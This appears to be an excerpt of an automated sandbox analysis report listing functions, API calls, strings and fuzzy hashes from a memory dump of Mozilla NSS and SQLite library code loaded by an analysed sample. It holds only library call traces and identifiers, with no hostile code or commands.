Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C617F7B

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C617FA7

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C73919C,?), ref: 6C617FBB

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C617FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C73915C,00000014), ref: 6C617FFE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: d5dec445e71143b03c557e2b74dec3ffa48fa474f07b861a5f43fe9d883f9a99
Instruction ID: 025fce7d39bdd221dc9c8f3fa5c6c909c5f220af5fbcc00b94131f9cda1b6b6e
Opcode Fuzzy Hash: d5dec445e71143b03c557e2b74dec3ffa48fa474f07b861a5f43fe9d883f9a99
Instruction Fuzzy Hash: 90112771D082046AE6209A29DC50FBB76A8DF5664DF00062DFC59D2E41FB20A948C2BE

Function 6C61BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C69DC29,?), ref: 6C61BE64

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C69DC29,?), ref: 6C61BE78

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C69DC29,?), ref: 6C61BE96

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C69DC29,?), ref: 6C61BEBB

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C69DC29,?), ref: 6C61BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C69DC29,?), ref: 6C61BEF3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 655f29ed12084928b42325a5f91e6b157b4410a54b188bcb6533f0faadeb3751
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 5011EBB1E042055BEB008B69ED15FAE3768EF81389F140428ED08E7B40EB31D909C7B9

Function 6C6A3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A3D3F

Part of subcall function 6C61BA90: PORT_NewArena_Util.NSS3(00000800,6C6A3CAF,?), ref: 6C61BABF
Part of subcall function 6C61BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6A3CAF,?), ref: 6C61BAD5
Part of subcall function 6C61BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6A3CAF,?), ref: 6C61BB08
Part of subcall function 6C61BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6A3CAF,?), ref: 6C61BB1A
Part of subcall function 6C61BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6A3CAF,?), ref: 6C61BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6A3CCB

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

PR_EnterMonitor.NSS3(?), ref: 6C6A3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6A3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6A3D15
PR_ExitMonitor.NSS3(?), ref: 6C6A3D2E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 9e29e9a51e7b64930d56f86c6655b93e74765626981bc24ee1c6d19a5f07f0c9
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: FE110B79610600AFE7206EA5FC4179BB2E4EF1230DF504534E41A9BB20E632FD1AC65E

Function 6C66FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C66FE08

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C66FE1D

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C66FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C66FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C66FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C66FE6F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: ad55c1f8dde9db83b8f67176e2a57154720f06206fe4c5ec45d4fc31eed842f5
Instruction ID: 36ca087a4715fe8413b9b9f8e3268c5de3735000bba91d32be853248308f61ee
Opcode Fuzzy Hash: ad55c1f8dde9db83b8f67176e2a57154720f06206fe4c5ec45d4fc31eed842f5
Instruction Fuzzy Hash: EF1125B6600201BBEB008F66DC40B9B7B98AF15399F108034E91C87F12E732E915C7AB

Function 6C71FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C71FD9E

Part of subcall function 6C6D9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C601A48), ref: 6C6D9BB3
Part of subcall function 6C6D9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C601A48), ref: 6C6D9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C71FDB9

Part of subcall function 6C5FA900: TlsGetValue.KERNEL32(00000000,?,6C7714E4,?,6C594DD9), ref: 6C5FA90F
Part of subcall function 6C5FA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C5FA94F

PR_Unlock.NSS3 ref: 6C71FDD4
PR_Lock.NSS3 ref: 6C71FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C71FE0D
PR_Unlock.NSS3 ref: 6C71FE23

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: f4d179be09c1a53307dcb54ae1d5868af5e26ad20cadfc7e7c12bd68e4d298e7
Instruction ID: f9b522aec489972fe5abc28920103b15b6705041fd845e6ec1e5ccb46bebf062
Opcode Fuzzy Hash: f4d179be09c1a53307dcb54ae1d5868af5e26ad20cadfc7e7c12bd68e4d298e7
Instruction Fuzzy Hash: CC01E1F6A14210ABCF154E25FD208517631BB0222C7194374E97A47BE1E722ED38C7C2

Function 6C5FAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FAFDA

Strings

misuse, xrefs: 6C5FAFCE
%s at line %d of [%.10s], xrefs: 6C5FAFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C5FAF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5FAFC4

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 4d5e7a96d85da5f3c06bb79629be39ce667e623f9133f874479ff13ebb953e41
Instruction ID: 24e1012cf36f2b0456f0237bb7ce5da23eed539e09d43456ab38cab6751322b0
Opcode Fuzzy Hash: 4d5e7a96d85da5f3c06bb79629be39ce667e623f9133f874479ff13ebb953e41
Instruction Fuzzy Hash: 2C91E175A002158FEB08CF69CC94AAAB7F1BF49314F1985A8E865AB751D334ED02CF61

Function 6C65FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C65FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C65FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C65FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C65FDDE

Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,6C67085A,00000000,?,6C618369,?), ref: 6C668821
Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,?,6C67085A,00000000,?,6C618369,?), ref: 6C66883D
Part of subcall function 6C668800: EnterCriticalSection.KERNEL32(?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668856
Part of subcall function 6C668800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C668887
Part of subcall function 6C668800: PR_Unlock.NSS3(?,?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668899

Strings

pkcs11:, xrefs: 6C65FC4F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: df5537d690d6ab252ea3a2c84b0a432ae9acc34e8e4d33db3d7e2656c19f4f62
Instruction ID: 4cfabd804d7d06d9362ec6c26d91a43fa225f4df94ef4eef6a5675b8e1afb0dd
Opcode Fuzzy Hash: df5537d690d6ab252ea3a2c84b0a432ae9acc34e8e4d33db3d7e2656c19f4f62
Instruction Fuzzy Hash: 0451F2B1A001219BEB008F65DC44F9A33B5AF46358FB40629DD15ABB51EB30E924CB9F

Function 6C59BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C59BE02

Part of subcall function 6C6C9C40: memcmp.VCRUNTIME140(?,00000000,6C59C52B), ref: 6C6C9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C59BE9F

Strings

%s at line %d of [%.10s], xrefs: 6C59BE98
database corruption, xrefs: 6C59BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59BE89

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 96b8e594b47514e7d5831fd3a499ab1b2080222fceeae3656669f77095c17fc6
Instruction ID: bdde0965cfcfe4fd131a8871afa8fc2b43170e0b5e96f3193fb1a52dd51e6624
Opcode Fuzzy Hash: 96b8e594b47514e7d5831fd3a499ab1b2080222fceeae3656669f77095c17fc6
Instruction Fuzzy Hash: 24316B31B043D98BD720DF69CCD4AABBBAAAF41314B088994EE441BB41D370ED04C7D0

Function 6C686DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C686E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C686E57

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C686E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C686EAA

Strings

nrl, xrefs: 6C686DF9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nrl
API String ID: 3163584228-4163017231
Opcode ID: c2c623d46223f9d4e24235fda36602ad71d969d4a997775e845e878b72dfc532
Instruction ID: 083af43f062e280d5cf99f03ca128d9c069236866c192dd74b608c03b50f050a
Opcode Fuzzy Hash: c2c623d46223f9d4e24235fda36602ad71d969d4a997775e845e878b72dfc532
Instruction Fuzzy Hash: 9E31E13163A616EEDB141E34CC0C396B7A4AB0231AF14063CD99AD6A40EB30F456CBB9

Function 6C611EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C614C64,?,-00000004), ref: 6C611EE2

Part of subcall function 6C671820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C611D97,?,?), ref: 6C671836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C614C64,?,-00000004), ref: 6C611F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C614C64,?,-00000004), ref: 6C611F37
DER_DecodeTimeChoice_Util.NSS3(?,dLal,?,?,?,?,?,?,?,?,00000000,00000000,?,6C614C64,?,-00000004), ref: 6C611F53

Strings

dLal, xrefs: 6C611F2B, 6C611F51

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLal
API String ID: 3216063065-3563240569
Opcode ID: 473dd1df474b3a3c74fb14bb110d14083e9b24d89da6ffaf04152ced6453a1ee
Instruction ID: e553b6a5898594242e9547d4ea1a6652f64e6922da4cf6bc33121cd50a7112fa
Opcode Fuzzy Hash: 473dd1df474b3a3c74fb14bb110d14083e9b24d89da6ffaf04152ced6453a1ee
Instruction Fuzzy Hash: A521A771508306AFC710CF6ADD00ADB77E9AB95759F000929E858C3E40F330E519C7E6

Function 6C600DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C600BDE), ref: 6C600DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C600BDE), ref: 6C600DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C600BDE), ref: 6C600DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C600BDE), ref: 6C600E32

Strings

%s incr => %d (find lib), xrefs: 6C600E2D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 8dbaa92e8eed78e6496af3122f03cd13975db11048b7b31165bcb910b58f84f6
Instruction ID: 10c1b503f817aa5428c19e353b673a9e68c600e4c340c2f3c2451ff1af58f32f
Opcode Fuzzy Hash: 8dbaa92e8eed78e6496af3122f03cd13975db11048b7b31165bcb910b58f84f6
Instruction Fuzzy Hash: 7101F1727002249FE7249F258D49E5773ACDB45B09B04483DE949E3A41EA61EC1586E1

Function 6C641CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C641CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C641CF1

Part of subcall function 6C7209D0: PR_Now.NSS3 ref: 6C720A22
Part of subcall function 6C7209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
Part of subcall function 6C7209D0: PR_GetCurrentThread.NSS3 ref: 6C720A70
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
Part of subcall function 6C7209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
Part of subcall function 6C7209D0: PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720B19
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
